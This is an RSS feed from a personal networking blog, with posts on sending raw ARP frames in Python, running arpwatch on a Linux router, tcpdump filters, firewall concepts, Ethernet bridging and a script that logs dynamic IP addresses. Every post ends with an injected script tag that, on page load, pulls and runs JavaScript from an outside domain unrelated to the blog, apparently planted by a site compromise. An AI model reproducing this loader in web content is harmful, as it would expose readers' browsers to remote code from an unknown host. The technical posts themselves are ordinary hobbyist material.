<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Network</title>
	<atom:link href="http://www.larsen-b.com/tags/network/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Send hand-crafted Ethernet Frames in Python (ARP for example)</title>
		<link>http://www.larsen-b.com/Article/206.html</link>
		<comments>http://www.larsen-b.com/Article/206.html#comments</comments>
		<pubDate>Tue, 07 Jun 2005 14:49:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Tonight I decided to send ARP flood over the wireless link to find who is using it. This is a strange thing .. ok but it works pretty fine and quickly .. First step is to build the custom packet.. &#8230; <a href="http://www.larsen-b.com/Article/206.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Tonight I decided to send ARP flood over the wireless link to find who is using it. This is a strange thing .. ok but it works pretty fine and quickly ..</p>
<p>First step is to build the custom packet.. I tested several suffs and i decided to keep the <a class="reference" href="http://monkey.org/~dugsong/dpkt/">dpkt</a> package. It support a large subset of packets and is easy to use. (Nobody for a MSN parser ?:)</p>
<p>The next step is to send and wait for answers. This has been a bit harder, meanly because I spent a long time looking how to send Ethernet Frames (not IP packets).<br />
In other words, how RAW sockets works in python.</p>
<p>Here a small answer.</p>
<pre class="literal-block">soc = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) #create the raw-socket
soc.bind(("ath0",0x0806)) # ether type for ARP

soc.send(handly_crafted_packet)
data = soc.receive(1024)
...</pre>
<p>If you want a full example, checkout the <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/network/arp-flood.py">arp-flood</a> script I wrote.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/206.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Arpwatch on WRT54G</title>
		<link>http://www.larsen-b.com/Article/203.html</link>
		<comments>http://www.larsen-b.com/Article/203.html#comments</comments>
		<pubDate>Thu, 12 May 2005 15:22:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose. I decided to run arpwatch on my linksys access point, &#8230; <a href="http://www.larsen-b.com/Article/203.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose.<br />
I decided to run arpwatch on my linksys access point, but this is not so easy ..</p>
<div id="mail" class="section">
<h1><a name="mail">1) Mail</a></h1>
<p>First you need to have sendmail on the WRT. So install mini_sendmail. Add a file <strong>/usr/sbin/sendmail</strong> that contains:</p>
<pre class="literal-block">#!/bin/sh
/usr/sbin/mini_sendmail -t -sIP_of_your_mail_relay</pre>
<p>Check that it &#8216;s working..</p>
</div>
<div id="arpwatch" class="section">
<h1><a name="arpwatch">2) Arpwatch</a></h1>
<p>Run arpwatch on the WRT throught this script:</p>
<pre class="literal-block">#!/bin/sh
IFNAME=$(nvram get wifi_ifname)

case $1 in
start)
touch /tmp/arpwatch.dat
arpwatch -f /tmp/arpwatch.dat -i $IFNAME
;;
stop)
killall arpwatch
;;
*)
echo "usage: $0 (start|stop)"
exit 1
esac

exit $?</pre>
</div>
<div id="check" class="section">
<h1><a name="check">3) Check</a></h1>
<p>Wait a bit, connect to your wifi, look at your email on the gateway. (<a class="reference" href="mailto:root@gw">root@gw</a>) you will see something like this:</p>
<pre class="literal-block">From: root@openwrt.local.net
Subject: new station

hostname: &lt;unknown&gt;
ip address: 192.168.2.1
ethernet address: 0:f:66:c7:b5:b1
ethernet vendor: &lt;unknown&gt;
timestamp: Tuesday, January 18, 2000 14:34:01 +0000</pre>
<p>Enjoy :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/203.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tcpdump rules !</title>
		<link>http://www.larsen-b.com/Article/193.html</link>
		<comments>http://www.larsen-b.com/Article/193.html#comments</comments>
		<pubDate>Sun, 06 Feb 2005 10:44:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Tcpdump is clearly one of my favorite tool. Here a little example to filter the traffic of my OSPF router. tcpdump -i eth0 ip[9] == 89 And the result: 12:43:48.219432 IP p2b.soif.fr &#62; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48 12:43:48.560817 &#8230; <a href="http://www.larsen-b.com/Article/193.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Tcpdump is clearly one of my favorite tool. Here a little example to filter the traffic of my OSPF router.</p>
<pre class="literal-block">tcpdump -i eth0 ip[9] == 89</pre>
<p>And the result:</p>
<pre class="literal-block">12:43:48.219432 IP p2b.soif.fr &gt; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48
12:43:48.560817 IP wrt.soif.fr &gt; OSPF-ALL.MCAST.NET: OSPFv2, Hello (1), length: 48</pre>
<p>Wonderfull no ? :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/193.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Raw Network access in Python</title>
		<link>http://www.larsen-b.com/Article/75.html</link>
		<comments>http://www.larsen-b.com/Article/75.html#comments</comments>
		<pubDate>Mon, 22 Dec 2003 23:28:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ever think of sniffing or forging packet in Python ? I spent a part of time hacking some UDP packet for my work and building Ethercap rules is a bit hard now you can do this with : http://oss.coresecurity.com/projects/pcapy.html http://oss.coresecurity.com/projects/impacket.html]]></description>
				<content:encoded><![CDATA[<p>Ever think of sniffing  or forging packet in Python ? I spent a part of time hacking some UDP packet for my work and building Ethercap rules is a bit hard now you can do this with :</p>
<ul class="simple">
<li><a class="reference" href="http://oss.coresecurity.com/projects/pcapy.html">http://oss.coresecurity.com/projects/pcapy.html</a></li>
<li><a class="reference" href="http://oss.coresecurity.com/projects/impacket.html">http://oss.coresecurity.com/projects/impacket.html</a></li>
</ul>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/75.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stateless vs Statefull firewalls</title>
		<link>http://www.larsen-b.com/Article/62.html</link>
		<comments>http://www.larsen-b.com/Article/62.html#comments</comments>
		<pubDate>Wed, 03 Dec 2003 10:42:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;ve been hacking a part of the w-e w/ my firewall setting (mainly cause my firewall blocks my wifi network ..). Everything is fine right now, but i&#8217;m wondering what is the difference in satefull and stateless firewalls. Here is &#8230; <a href="http://www.larsen-b.com/Article/62.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been hacking a part of the w-e w/ my firewall setting (mainly cause my firewall blocks my wifi network ..). Everything is fine right now, but i&#8217;m wondering what is the difference in satefull and stateless firewalls.</p>
<p>Here is a quote from Sun:</p>
<p>When talking about protocols it is possible to describe TCP as stateful and UDP and IP as stateless. As such TCP will automatically retransmit lost or garbled data independent of the application, whereas an application using UDP will have to manage retransmissions itself.</p>
<p>When talking about firewalls and/or firewall functions in routers stateful and stateless are not necessarily related to specific protocols but more used to describe how firewall controls forwarding/passing of packets.</p>
<p>A &#8220;stateless&#8221; product looks at each packet and applies rules to each packet independent of the previous packets and determines whether to forward or drop the packet independent of the specific protocol, eg a stateless product will test source and destination addresses and port and ACK bit settings to determine whether to forward or drop the packet.</p>
<p>A &#8220;stateful&#8221; product also looks at each packet and applies rules, but the rules or tests applied to each packet may be modified depending on packets that have already been processed or in the case of an application relay it will maintain state by definition.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/62.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Slow bridging the Wifi</title>
		<link>http://www.larsen-b.com/Article/57.html</link>
		<comments>http://www.larsen-b.com/Article/57.html#comments</comments>
		<pubDate>Thu, 27 Nov 2003 20:20:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In fact, i&#8217;m trying to turn my Wifi gateway (which is really a gateway 2 interfaces + masquerading ) in a transparent bridge. You know only have a single IP for the two interfaces, so going on the wired networks &#8230; <a href="http://www.larsen-b.com/Article/57.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In fact, i&#8217;m trying to turn my Wifi gateway (which is really a gateway 2 interfaces + masquerading ) in a transparent bridge. You know only have a single IP for the two interfaces, so going on the wired networks and back won&#8217;t be masquerade. In fact until now i can&#8217;t access to the Wifi network from the wired one.</p>
<p>So i give it a try to Ethernet Kernel Bridging:</p>
<pre class="literal-block"># unsetting devices
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0

# adding bridge / and ifaces
brctl addbr br0
brctl addif eth0
brctl addif eth1

# configure the bridge
ifconfig br0 192.168.1.20
route add default gw 192.168.1.1</pre>
<p>Besides it&#8217;s works .. connecting to the wired from the wifi with ips in the same network. it&#8217;s slowww.. really tooo slow.</p>
<p>I need to look at this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/57.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Last PPP Ip .</title>
		<link>http://www.larsen-b.com/Article/12.html</link>
		<comments>http://www.larsen-b.com/Article/12.html#comments</comments>
		<pubDate>Fri, 29 Aug 2003 07:42:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[dsl]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[#!/usr/bin/python """ A really simple piece of code that i use to track down my dynamics IP (assigned by my isp while using ppp). """ filename = '/home/soif/Perso/Data/lastIp.sqlite' import sys,os,time try: import sqlite except ImportError: print "Please install python sqlite &#8230; <a href="http://www.larsen-b.com/Article/12.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<pre><span style="color: #444444;">#!/usr/bin/python</span>
<span style="color: #008000;">""</span><span style="color: #008000;">"
A really simple piece of code that i use to track down my
dynamics IP (assigned by my isp while using ppp).

"</span><span style="color: #008000;">""</span>
<span style="color: #2040a0;">filename</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'/home/soif/Perso/Data/lastIp.sqlite'</span>

<strong>import</strong> <span style="color: #2040a0;">sys</span>,<span style="color: #2040a0;">os</span>,<span style="color: #2040a0;">time</span>
<strong>try</strong><span style="color: #4444ff;">:</span>
    <strong>import</strong> <span style="color: #2040a0;">sqlite</span>
<strong>except</strong> <span style="color: #2040a0;">ImportError</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #008000;">"Please install python sqlite binding first"</span>
    <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">createTables</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">schema</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">"CREATE TABLE connect ( <span style="color: #77dd77;">
</span>             id INTEGER PRIMARY KEY, <span style="color: #77dd77;">
</span>             ip VARCHAR(27), <span style="color: #77dd77;">
</span>             date VARCHAR <span style="color: #77dd77;">
</span>             );"</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">schema</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"Database creation: Done"</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">printLastIps</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'SELECT * FROM connect ORDER BY id DESC LIMIT 15'</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">results</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">fetchall</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"="</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">78</span>
    <strong>print</strong> <span style="color: #008000;">" Last Ips "</span>
    <strong>print</strong> <span style="color: #008000;">"="</span> <span style="color: #4444ff;">*</span> <span style="color: #ff0000;">78</span>
    <strong>for</strong> <span style="color: #2040a0;">r</span> <strong>in</strong> <span style="color: #2040a0;">results</span><span style="color: #4444ff;">:</span>
        <strong>print</strong> <span style="color: #008000;">'- %-15s  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span> <span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span>,<span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">2</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">getLastIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'SELECT * FROM connect ORDER BY id DESC LIMIT 1'</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">r</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">fetchall</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">r</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&gt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">:</span>
        <strong>return</strong> <span style="color: #2040a0;">r</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span>
    <strong>return</strong>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">insertCurrentIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span>,<span style="color: #2040a0;">ip</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">sql</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'INSERT INTO connect values(NULL,"%s","%s") '</span> <span style="color: #4444ff;">%</span>  <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ip</span>,<span style="color: #2040a0;">time</span>.<span style="color: #2040a0;">ctime</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">cursor</span>.<span style="color: #2040a0;">execute</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sql</span><span style="color: #4444ff;">)</span>
    <strong>print</strong> <span style="color: #008000;">"Inserting of %s: Done"</span> <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">ip</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span>
    <strong>print</strong> <span style="color: #008000;">" Arguments:"</span>
    <strong>print</strong> <span style="color: #008000;">"    -c    : create the database"</span>
    <strong>print</strong> <span style="color: #008000;">"    -a ip : add the ip to the db"</span>
    <strong>print</strong> <span style="color: #008000;">"    -l    : list the last ips"</span>

<span style="color: #444444;">#import pdb;pdb.set_trace()</span>

<span style="color: #2040a0;">db</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">sqlite</span>.<span style="color: #2040a0;">connect</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span><span style="color: #4444ff;">)</span>
<span style="color: #2040a0;">cursor</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">db</span>.<span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>

<strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">2</span>  <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-c'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">createTables</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>

<strong>elif</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">2</span>  <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-l'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">printLastIps</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>

<strong>elif</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">3</span> <strong>and</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-a'</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">newIp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">2</span><span style="color: #4444ff;">]</span>
    <span style="color: #2040a0;">lastIp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">getLastIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">insertCurrentIp</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">cursor</span>,<span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">)</span>
    <strong>if</strong> <span style="color: #2040a0;">lastIp</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">:</span>
        <strong>print</strong> <span style="color: #008000;">"Sending Email"</span>
        <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'echo Changing Ip of gateway from %s to: %s | mail -s '</span><span style="color: #2040a0;">New</span> <span style="color: #2040a0;">Ip</span> <span style="color: #4444ff;">%</span><span style="color: #2040a0;">s</span> <span style="color: #008000;">' -a '</span><span style="color: #2040a0;">From</span><span style="color: #4444ff;">:</span> <span style="color: #2040a0;">jkx</span>@<span style="color: #2040a0;">club</span><span style="color: #4444ff;">-</span><span style="color: #2040a0;">internet</span>.<span style="color: #2040a0;">fr</span><span style="color: #008000;">' jkx@wanadoo.fr'</span> <span style="color: #4444ff;">%</span>  <span style="color: #4444ff;">(</span><span style="color: #2040a0;">lastIp</span>,<span style="color: #2040a0;">newIp</span>,<span style="color: #2040a0;">newIp</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span>

<strong>else</strong><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #2040a0;">db</span>.<span style="color: #2040a0;">commit</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span></pre>
<p>Sample output</p>
<pre>
==============================================================================
 Last Ips
==============================================================================
- 217.128.96.43    Thu Aug 28 21:33:40 2003
- 193.252.3.209    Wed Aug 27 21:33:43 2003
- 217.128.96.95    Tue Aug 26 21:33:47 2003
- 80.15.151.254    Tue Aug 26 18:53:18 2003
- 80.15.151.107    Tue Aug 26 07:34:39 2003
- 81.48.168.91     Mon Aug 25 07:34:36 2003
- 80.15.151.40     Sun Aug 24 07:34:38 2003
- 81.48.168.41     Sat Aug 23 07:54:41 2003
- 80.15.151.125    Fri Aug 22 07:34:44 2003
- 80.15.151.169    Thu Aug 21 07:34:46 2003
- 193.251.14.187   Wed Aug 20 07:34:49 2003
- 193.251.14.36    Tue Aug 19 07:35:07 2003
- 81.48.168.47     Mon Aug 18 07:35:01 2003
- 80.15.151.187    Sun Aug 17 07:34:58 2003
- 81.48.168.75     Sat Aug 16 07:35:01 2003</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/12.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
